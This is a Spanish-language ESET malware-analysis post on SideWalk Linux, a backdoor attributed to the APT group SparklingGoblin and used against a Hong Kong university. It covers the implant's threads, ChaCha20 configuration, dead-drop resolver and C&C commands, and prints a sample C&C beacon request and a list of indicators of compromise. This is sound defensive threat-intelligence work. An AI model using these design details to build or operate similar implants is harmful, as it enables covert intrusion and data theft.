El equipo de investigación de ESET ha descubierto una variante para Linux del backdoor SideWalk, uno de los múltiples implantes personalizados que utiliza el grupo de APT SparklingGoblin. Esta variante se utilizó en un ataque contra una universidad de Hong Kong en febrero de 2021, la misma universidad que ya había sido atacada por SparklingGoblin durante las protestas estudiantiles de mayo de 2020. Originalmente llamamos a este backdoor StageClient, pero ahora nos referimos a el como SideWalk Linux. También descubrimos que un backdoor para Linux previamente conocido, Spectre RAT, documentado por primera vez por 360 Netlab, también es una variante de SideWalk Linux, ya que presenta múltiples puntos en común con las muestras que identificamos.

SparklingGoblin es un grupo APT cuyas tácticas, técnicas y procedimientos (TTP, por sus siglas en inglés) se superponen parcialmente con APT41 y BARIUM. Utiliza loaders basados ​​en Motnug y ChaCha20, los backdoors CROSSWALK y SideWalk, junto con Korplug (también conocido como PlugX) y Cobalt Strike. Si bien el grupo se enfoca principalmente en el este y sudeste de Asia, también hemos visto ataques de SparklingGoblin apuntando a una amplia gama de organizaciones de distintos sectores en todo el mundo, con un enfoque particular en el sector académico. SparklingGoblin es uno de los grupos con acceso al backdoor ShadowPad.

Esta publicación documenta SideWalk Linux, su victimología y sus numerosas similitudes con el backdoor SideWalk originalmente descubierto.

Atribución

El backdoor SideWalk es exclusivo del grupo de APT SparklingGoblin. Además de las múltiples similitudes de código entre las variantes para Linux de SideWalk y varias herramientas de SparklingGoblin, una de las muestras de SideWalk Linux usa una dirección C&C (66.42.103[.]222) que el grupo utilizó anteriormente.

Teniendo en cuenta todos estos factores, atribuimos con gran confianza SideWalk Linux al grupo de APT SparklingGoblin.

Victimología

Si bien en VirusTotal hay varias muestras de SideWalk Linux, tal como las conocemos ahora, en nuestra telemetría hemos encontrado solo una víctima comprometida con esta variante de SideWalk: una universidad de Hong Kong que, en medio de protestas estudiantiles, había sido atacada previamente por SparklingGoblin (usando el loader Motnug y el backdoor CROSSWALK) y Fishmonger (usando los backdoor ShadowPad y Spyder). Tenga en cuenta que en ese momento pusimos esa actividad bajo la denominación más amplia de Winnti Group.

SparklingGoblin comprometió por primera vez a esta universidad en particular en mayo de 2020, y detectamos por primera vez la variante para Linux de SideWalk en la red de esa universidad en febrero de 2021. El grupo atacó continuamente a esta organización durante un largo período de tiempo, comprometiendo con éxito varios servidores clave, incluido un servidor de impresión, un servidor de correo electrónico y un servidor utilizado para administrar los horarios de los estudiantes y las inscripciones en los cursos.

El camino hacia Sidewalk Linux

SideWalk, un backdoor que describimos por primera en su versión para Windows en agosto de 2021, es una herramienta multipropósito que permite cargar módulos adicionales enviados desde el servidor de C&C. Hace uso de Google Docs como dead-drop resolver, y de Cloudflare como su servidor de C&C. Es capaz de manejar adecuadamente la comunicación detrás de un proxy.

Actualmente se desconoce la cadena de compromiso, pero creemos que el vector de ataque inicial podría haber sido la explotación de una vulnerabilidad. Esta hipótesis se basa en el artículo de 360 ​​Netlab que describe la botnet Spectre apuntando a cámaras IP y dispositivos NVR y DVR, y el hecho de que la víctima de Hong Kong usó un servidor de WordPress vulnerable, ya que hubo muchos intentos de instalar varios webshells.

Documentamos por primera vez la variante para Linux de SideWalk como StageClient el 2 de julio de 2021 , sin establecer la conexión en ese momento con SparklingGoblin y su backdoor personalizado SideWalk. El nombre original se utilizó debido a las repetidas apariciones de la string StageClient en el código.

Mientras investigamos más a fondo StageClient, nos encontramos con una publicación de 360 Netlab sobre la botnet Spectre. Esa publicación describe un backdoor modular para Linux con una configuración flexible que utiliza una variante del algoritmo de cifrado ChaCha20, básicamente un subconjunto de la funcionalidad de StageClient. Una inspección posterior confirmó esta hipótesis; además, encontramos una gran superposición en la funcionalidad, la infraestructura y los símbolos presentes en todos los binarios.

Comparamos la muestra de StageClient E5E6E100876E652189E7D25FFCF06DE959093433 con las muestras de Spectre 7DF0BE2774B17F672B96860D013A933E97862E6C y encontramos numerosas similitudes, algunas de las cuales enumeramos a continuación.

Primero, hay una superposición en los comandos de C&C. Segundo, las muestras tienen la misma estructura de configuración y método de cifrado (consulte la Figura 1 y la Figura 2).

Figura 1. Configuración de StageClient con símbolos modificados

Figura 2. Configuración de Spectre con símbolos modificados

Además, los módulos de las muestras son administrados casi de la misma manera y la mayoría de las interfaces son idénticas; los módulos de StageClient solo necesitan implementar un handler adicional, que es para cerrar el módulo. Tres de los cinco módulos conocidos son casi idénticos.

Por último, pudimos ver sorprendentes superposiciones en los protocolos de red de las muestras comparadas. Una variante de ChaCha20 es utilizada dos veces para el cifrado con compresión LZ4 de la misma manera. Tanto StageClient como Spectre crean varios hilos (consulte la Figura 3 y la Figura 4) para administrar el envío y la recepción de mensajes asincrónicos junto con los latidos del corazón.

Figura 3. Una parte de la función de de StageClient::StartNetwork

Figura 4. Una parte de la función de Spectre: StartNetwork

A pesar de todas estas sorprendentes similitudes, hay varios cambios. Los más destacables son los siguientes:

  • Los autores cambiaron del lenguaje C a C++. Se desconoce el motivo, pero debería ser más fácil implementar una arquitectura modular de este tipo en C++ debido a su compatibilidad con polimorfismos.
  • Se agregó una opción para intercambiar mensajes a través de HTTP (consulte la Figura 5 y la Figura 6).

Figura 5. Envío de un mensaje en StageClient

Figura 6. Envío de un mensaje en Spectre

  • Los plugins descargables fueron reemplazados por módulos precompilados que cumplen el mismo propósito; se agregaron varios comandos nuevos y dos módulos nuevos.
  • Se agregó el módulo TaskSchedulerMod, que funciona como una utilidad cron integrada. Su tabla cron se almacena en la memoria; los trabajos se reciben a través de la red y se ejecutan como comandos de shell.
  • Se agregó el módulo SysInfoMgr, que proporciona información sobre el sistema subyacente, como la lista de paquetes instalados y detalles del hardware.

Estas similitudes nos convencen de que Spectre y StageClient pertenecen a la misma familia de malware. Sin embargo, considerando las numerosas superposiciones de código entre la variante de StageClient utilizada contra la universidad de Hong Kong en febrero de 2021 y SideWalk para Windows, como se describe en la siguiente sección, ahora creemos que Spectre y StageClient son variantes de Linux de SideWalk, por lo que hemos decidido referirnos a ellos como SideWalk Linux.

Similitudes con la variante de Windows

SideWalk Windows y SideWalk Linux comparten demasiadas similitudes para describirlas dentro de los límites de esta publicación de blog, por lo que aquí solo cubrimos las más llamativas.

ChaCha20

Una similitud obvia se nota en las implementaciones del cifrado ChaCha20: ambas variantes usan un contador con un valor inicial de 0x0B, el cual se mencionó en nuestra anterior publicación como una especificidad de la implementación ChaCha20 de SideWalk.

Arquitectura de software

Una particularidad de SideWalk es el uso de múltiples subprocesos para ejecutar una tarea específica. Notamos que en ambas variantes hay exactamente cinco hilos ejecutados simultáneamente, cada uno de ellos con una tarea específica. La siguiente lista describe la función de cada uno; los nombres de los hilos fueron obtenidos del código:

  • StageClient::ThreadNetworkReverse
    Si aún no se ha establecido una conexión con el servidor de C&C, este subproceso intenta recuperar periódicamente la configuración del proxy local y la ubicación del servidor de C&C del dead-drop resolver. Si el paso anterior fue exitoso, intenta iniciar una conexión con el servidor C&C.
  • StageClient::ThreadHeartDetect
    Si el backdoor no recibe un comando en la cantidad de tiempo especificada, este hilo puede terminar la conexión con el servidor C&C o cambiar a un modo de "suspensión" que introduce cambios menores en el comportamiento.
  • StageClient::ThreadPollingDriven
    Si no hay otros datos en cola para enviar, este subproceso envía periódicamente un comando de latido al servidor C&C que además puede contener la hora actual.
  • StageClient::ThreadBizMsgSend
    Este hilo comprueba periódicamente si hay datos para enviar en las cola de mensajes utilizada por todos los demás hilos y, si es así, los procesa.
  • StageClient::ThreadBizMsgHandler
    Este hilo comprueba periódicamente si hay mensajes pendientes recibidos del servidor de C&C y, en caso afirmativo, los gestiona.

Configuración

Al igual que en SideWalk Windows, la configuración es descifrada con ChaCha20.

Suma de verificación

Primero, antes de descifrar, se verifica la integridad de los datos. Esta verificación es similar en ambas implementaciones de SideWalk (consulte la Figura 7 y la Figura 8): se computa un hash MD5 en el nonce de ChaCha20 concatenado con los datos de configuración cifrados. Este hash luego se compara con un valor predefinido y, si no es igual, SideWalk sale.

Figura 7. SideWalk Linux: Configuración de verificación de integridad

Figura 8. SideWalk Windows: Configuración de verificación de integridad

Diseño

La Figura 9 muestra extractos de configuraciones descifradas de las muestras que analizamos.

Figura 9. Partes de la configuración de E5E6E100876E652189E7D25FFCF06DE959093433 (izquierda) y FA6A40D3FC5CD4D975A01E298179A0B36AA02D4E (derecha)

La configuración de SideWalk Linux contiene menos información que la de SideWalk Windows. Esto tiene sentido porque la mayoría de los artefactos de configuración en SideWalk Windows se usan como criptografía y parámetros de red, mientras que la mayoría de estos son internos en SideWalk Linux.

Descifrado usando ChaCha20

Como se mencionó anteriormente, SideWalk utiliza una estructura global principal para almacenar su configuración. Esta configuración se descifra primero usando la implementación modificada de ChaCha20, como se ve en la Figura 10.

Figura 10. Llamada de descifrado de ChaCha20 en SideWalk Windows (izquierda) y en SideWalk Linux (derecha)

Tenga en cuenta que la clave ChaCha20 es exactamente la misma en ambas variantes, lo que fortalece la conexión entre los dos.

Dead-drop resolver

El payload del dead-drop resolver es idéntico en ambas muestras. Como recordatorio de nuestra publicación sobre SideWalk, la Figura 11 muestra el formato del payload que se obtiene del dead-drop resolver.

Figura 11. Formato de la string alojada en el documento de Google Docs

Para el primer delimitador, notamos que se ignora la parte PublicKey: de la string. La string AE68[…]3EFF se busca directamente, como se muestra en la Figura 12.

Figura 12. Primera rutina del delimitador de SideWalk Linux (izquierda), rutina final del delimitador y rutina intermedia (derecha)

Los delimitadores son idénticos, así como todo el algoritmo de decodificación.

Fingerptinting de la víctima

Para hacer fingerprinting de la víctima, se recopilan diferentes artefactos en la máquina de la víctima. Nos dimos cuenta de que la información obtenida es exactamente la misma, incluso se obtiene en el mismo orden.

Como el tiempo de arranque en cualquier caso es un formato de tiempo compatible con Windows, podemos suponer que el controlador de los operadores se ejecuta en Windows y que el controlador es el mismo para las víctimas de Linux y Windows. Otro argumento que respalda esta hipótesis es que las claves ChaCha20 utilizadas en ambas implementaciones de SideWalk son las mismas.

Protocolo de comunicación

Serialización de datos

El protocolo de comunicación entre la máquina infectada y el C&C es HTTP o HTTPS, según la configuración, pero en ambos casos los datos se serializan de la misma manera. No solo la implementación es muy similar, sino que se usa la misma clave de cifrado en ambas implementaciones, lo que acentúa la similitud entre las dos variantes.

Solicitudes POST

En las solicitudes POST utilizadas por SideWalk para obtener comandos y payloads del servidor de C&C, un punto destacable es el uso de los dos parámetros gtsid y gtuvid, como se ve en la Figura 13. En la variante para Linux se usan parámetros idénticos.

POST /M26RcKtVr5WniDVZ/5CDpKo5zmAYbTmFl HTTP/1.1
Cache-Control: no-cache
Connection: close
Pragma: no-cache
User-Agent: Mozilla/5.0 Chrome/72.0.3626.109 Safari/537.36
gtsid: zn3isN2C6bWsqYvO
gtuvid: 7651E459979F931D39EDC12D68384C21249A8DE265F3A925F6E289A2467BC47D
Content-Length: 120
Host: update.facebookint.workers[.]dev

Figura 13. Ejemplo de una solicitud POST utilizada por SideWalk Windows

Otro punto interesante es que la variante para Windows se ejecuta como shellcode totalmente independiente de la posición, mientras que la variante de Linux es una biblioteca compartida. Sin embargo, creemos que los autores del malware podrían haber dado un paso más, usando una herramienta como sRDI para convertir un PE compilado de SideWalk en shellcode en lugar de escribirlo manualmente.

Comandos

Solo cuatro comandos no se implementan o se implementan de manera diferente en la variante para Linux, como se muestra en la Tabla 1. Todos los demás comandos están presentes, incluso con las mismas ID.

Tabla 1. Comandos con implementación diferente o faltante en la versión para Linux de SideWalk

Command ID (from C&C) Windows variants Linux variants
0x7C Load a plugin sent by the C&C server. Not implemented in SideWalk Linux.
0x82 Collect domain information about running processes, and owners (owner SID, account name, process name, domain information). Do nothing.
0x8C Data serialization function. Commands that are not handled, but fall in the default case, which is broadcasting a message to all the loaded modules.
0x8E Write the received data to the file located at %AllUsersProfile%\UTXP\nat\<filename>, where <filename> is a hash of the value returned by VirtualAlloc at each execution of the malware. #rowspan#

Versionado

En la variante de Linux, observamos una especificidad que no se encontró en la variante de Windows: se computa un número de versión (consulte la Figura 14).

Figura 14. Función de control de versiones en SideWalk Linux

La fecha hardcodeada podría ser el comienzo o el final del desarrollo de esta versión de SideWalk Linux. El cómputo final se realiza a partir del año, día y mes, a partir del valor Oct 26 2020. En este caso, el resultado es 1171798691840.

Plugins

En las variantes de SideWalk Linux los módulos están integrados; no se pueden obtener desde el servidor de C&C. Esa es una diferencia notable de la variante de Windows. Algunas de esas funcionalidades integradas, como la recopilación de información del sistema (SysInfoMgr, por ejemplo), como la configuración de la red, se realizan directamente mediante funciones dedicadas en la variante de Windows. En la variante de Windows, se pueden agregar algunos plugins a través de la comunicación con el C&C.

Evasión de defensa

La variante para Windows de SideWalk hace todo lo posible para ocultar el objetivo de su código. Recortó todos los datos y códigos que no eran necesarios para su ejecución y cifró el resto. Por otro lado, las variantes para Linux contienen símbolos y dejan algunas claves de autenticación únicas y otros artefactos sin cifrar, lo que facilita significativamente la detección y el análisis.

Además, el mayor número de funciones integradas en la variante de Windows sugiere que su código se compiló con un mayor nivel de optimización del compilador.

Conclusión

El backdoor que se usó para atacar una universidad de Hong Kong en febrero de 2021 es de la misma familia que el backdoor SideWalk y, en realidad, es una variante para Linux del backdoor. Esta versión para Linux exhibe varias similitudes con su contraparte para Windows junto con varias novedades.

Por cualquier consulta sobre esta investigación contáctenos a través de threatintel@eset.com.
ESET ahora ofrece reportes privados de inteligencia de APT y datos de feeds. Por cualquier duda o consulta relacionada a estos servicios , visite el sitio ESET Threat Intelligence .

Indicadores de Compromiso

Una lista de los Indicadores de Compromiso y muestras pueden encontrarse en nuestro repositorio de GitHub.

SHA-1 Filename ESET detection name Description
FA6A40D3FC5CD4D975A01E298179A0B36AA02D4E ssh_tunnel1_0 Linux/SideWalk.L SideWalk Linux (StageClient variant)
7DF0BE2774B17F672B96860D013A933E97862E6C hw_ex_watchdog.exe Linux/SideWalk.B SideWalk Linux (Specter variant)

Red

Domain IP First seen Notes
rec.micosoft[.]ga 172.67.8[.]59 2021-06-15 SideWalk C&C server (StageClient variant)
66.42.103[.]222 2020-09-25 SideWalk C&C server (Specter variant from 360 Netlab’s blogpost)

Técnicas de MITRE ATT&CK

Esta tabla fue creada utilizando la versión 11 del framework MITRE ATT&CK.

Tactic ID Name Description
Resource Development T1587.001 Develop Capabilities: Malware SparklingGoblin uses its own malware arsenal.
Discovery T1016 System Network Configuration Discovery SideWalk Linux has the ability to find the network configuration of the compromised machine, including the proxy configuration.
Command and Control T1071.001 Application Layer Protocol: Web Protocols SideWalk Linux communicates via HTTPS with the C&C server.
T1573.001 Encrypted Channel: Symmetric Cryptography SideWalk Linux uses ChaCha20 to encrypt communication data.